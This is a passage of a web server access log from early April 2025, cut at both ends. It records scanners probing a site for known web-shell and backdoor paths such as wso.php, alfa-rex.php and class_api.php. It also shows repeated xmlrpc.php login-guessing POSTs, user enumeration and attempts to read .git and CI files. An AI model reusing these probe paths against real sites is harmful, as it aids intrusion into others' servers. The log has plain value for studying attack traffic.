/wp-admin/css/colors/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:31 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:32 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:33 -0400] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:34 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:35 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:35 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:36 -0400] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:36 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:37 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:38 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:38 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:39 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:39 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:40 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:41 -0400] "GET /images/stories/admin-post.php HTTP/1.1" 301 795 "-" "-" 49.51.243.156 - - [04/Apr/2025:02:55:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.222.253.5 - - [04/Apr/2025:03:05:45 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 51.222.253.7 - - [04/Apr/2025:03:05:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 222.79.104.23 - - [04/Apr/2025:03:58:22 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 205.169.39.25 - - [04/Apr/2025:04:28:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 209.38.21.145 - - [04/Apr/2025:05:52:40 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 134.209.215.33 - - [04/Apr/2025:06:28:14 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 172.111.204.6 - - [04/Apr/2025:06:42:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 YaBrowser/22.7.0 Yowser/2.5 Safari/537.36" 91.202.4.43 - - [04/Apr/2025:06:47:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 20.27.222.193 - - [04/Apr/2025:07:38:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:38:59 -0400] "GET /wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:00 -0400] "GET /wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:00 -0400] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:00 -0400] "GET /new/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:01 -0400] "GET /old/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:01 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:01 -0400] "GET /main/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:01 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:02 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:02 -0400] "GET /demo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:03 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:03 -0400] "GET /tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:03 -0400] "GET /cms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:04 -0400] "GET /dev/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:04 -0400] "GET /portal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 20.27.222.193 - - [04/Apr/2025:07:39:04 -0400] "GET /web/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3140.112 Safari/537.36" 157.245.66.194 - - [04/Apr/2025:08:19:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 157.245.66.194 - - [04/Apr/2025:08:19:29 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 43.166.237.57 - - [04/Apr/2025:08:57:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.251.117.23 - - [04/Apr/2025:09:17:14 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [04/Apr/2025:09:17:14 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 196.251.117.23 - - [04/Apr/2025:09:17:14 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [04/Apr/2025:09:17:14 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [04/Apr/2025:09:17:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [04/Apr/2025:09:17:19 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 178.70.93.240 - - [04/Apr/2025:09:17:29 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36" 110.40.78.19 - - [04/Apr/2025:09:56:11 -0400] "GET /ucms/img/loading.gif HTTP/1.1" 301 795 "http://grimslut.com/ucms/img/loading.gif" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 154.83.103.101 - - [04/Apr/2025:10:03:27 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.101 - - [04/Apr/2025:10:03:33 -0400] "GET /.circleci/configs/development.yml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 138.197.8.229 - - [04/Apr/2025:10:55:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36" 13.59.215.179 - - [04/Apr/2025:13:36:47 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 58.49.233.126 - - [04/Apr/2025:13:51:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2a11:5781:8f5:96bf:8a85:cdf9:5cc6:7540 - - [04/Apr/2025:14:02:58 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 49.51.178.45 - - [04/Apr/2025:14:58:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 222.186.134.189 - - [04/Apr/2025:16:06:49 -0400] "GET /?rest_route=/wp/v2/users/ HTTP/1.1" 301 795 "http://grimslut.com" "Googlebot/2.1 (+http://www.googlebot.com/bot.html)" 222.186.134.189 - - [04/Apr/2025:16:06:57 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com/xmlrpc.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 222.186.134.189 - - [04/Apr/2025:16:07:02 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com/xmlrpc.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 222.186.134.189 - - [04/Apr/2025:16:07:06 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com/xmlrpc.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 222.186.134.189 - - [04/Apr/2025:16:07:08 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com/xmlrpc.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 222.186.134.189 - - [04/Apr/2025:16:07:10 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com/xmlrpc.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 222.186.134.189 - - [04/Apr/2025:16:07:13 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com/xmlrpc.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 81.176.239.27 - - [04/Apr/2025:16:49:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:114.0) Gecko/20100101 Firefox/114.0" 157.230.185.203 - - [04/Apr/2025:16:53:06 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 47.243.48.79 - - [04/Apr/2025:17:29:17 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.2398.9 Safari/537.36" 54.219.235.77 - - [04/Apr/2025:20:37:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 2602:fb54:963:: - - [04/Apr/2025:20:51:41 -0400] "GET /adminfuns.php?520 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 43.130.57.76 - - [04/Apr/2025:21:28:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 134.209.103.14 - - [04/Apr/2025:21:45:20 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 205.169.39.44 - - [04/Apr/2025:21:55:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 106.227.49.113 - - [04/Apr/2025:23:19:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 140.245.43.10 - - [04/Apr/2025:23:30:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:30:29 -0400] "GET //woh.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:30:37 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:30:40 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:30:42 -0400] "GET //zero.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:30:45 -0400] "GET //wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:30:47 -0400] "GET //phpmailer.lang-sv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:30:56 -0400] "GET //wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:30:58 -0400] "GET //wp-admin/css/colors/ectoplasm/load-styles.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:00 -0400] "GET //wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:01 -0400] "GET //wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:06 -0400] "GET //cgi-bin/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:08 -0400] "GET //wp-admin/images/class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:10 -0400] "GET //wp-admin/js/widgets/class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:12 -0400] "GET //.well-known/pki-validation/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:14 -0400] "GET //class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:16 -0400] "GET //class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:18 -0400] "GET //wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:20 -0400] "GET //wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:22 -0400] "GET //.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:24 -0400] "GET //.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:24 -0400] "GET //images/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:26 -0400] "GET //wp-admin/css/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:27 -0400] "GET //wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:30 -0400] "GET //wp-admin/includes/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:31 -0400] "GET //wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:32 -0400] "GET //wp-content/languages/themes/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:34 -0400] "GET //wp-content/themes/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:35 -0400] "GET //wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:36 -0400] "GET //.tmb/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:37 -0400] "GET //.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:39 -0400] "GET //cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:41 -0400] "GET //wp-admin/user/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:42 -0400] "GET //wp-content/upgrade/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:45 -0400] "GET //wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:46 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:47 -0400] "GET //wp-includes/ID3/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:49 -0400] "GET //wp-includes/certificates/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:50 -0400] "GET //wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:52 -0400] "GET //wp-includes/IXR/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:53 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:31:54 -0400] "GET //classfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:04 -0400] "GET //tempfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:08 -0400] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:10 -0400] "GET //nf_tracking.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:11 -0400] "GET //wp-content/wso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:16 -0400] "GET //wp-includes/wso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:17 -0400] "GET //wso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:19 -0400] "GET //wp-content/uploads/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:21 -0400] "GET //wp-content/upgrade/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:22 -0400] "GET //cgi-bin/sgd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:25 -0400] "GET //wp-admin/js/widgets/sgd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:26 -0400] "GET //wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:27 -0400] "GET //wp-includes/IXR/class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:29 -0400] "GET //wp-content/languages/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:30 -0400] "GET //class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:31 -0400] "GET //.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:32 -0400] "GET //.tmb/mariju.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:40 -0400] "GET //wp-content/languages/themes/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:42 -0400] "GET //wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:43 -0400] "GET //wp-admin/js/widgets/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:46 -0400] "GET //wp-admin/network/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:47 -0400] "GET //.tmb/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:49 -0400] "GET //assets/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:32:58 -0400] "GET //common/css/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:33:01 -0400] "GET //common/img/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:33:04 -0400] "GET //.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:33:07 -0400] "GET //wp-admin/user/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:33:10 -0400] "GET //wp-includes/rest-api/fields/cache/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:33:15 -0400] "GET //wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:33:17 -0400] "GET //wp-includes/IXR/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:33:18 -0400] "GET //wp-includes/Requests/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:33:20 -0400] "GET //wp-includes/random_compat/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [04/Apr/2025:23:33:22 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 31.40.203.22 - - [05/Apr/2025:01:58:03 -0400] "GET /wp-content/themes/woffice/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 216.244.66.236 - - [05/Apr/2025:03:40:56 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 49.51.183.220 - - [05/Apr/2025:03:55:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.251.87.14 - - [05/Apr/2025:04:14:00 -0400] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 134.209.103.14 - - 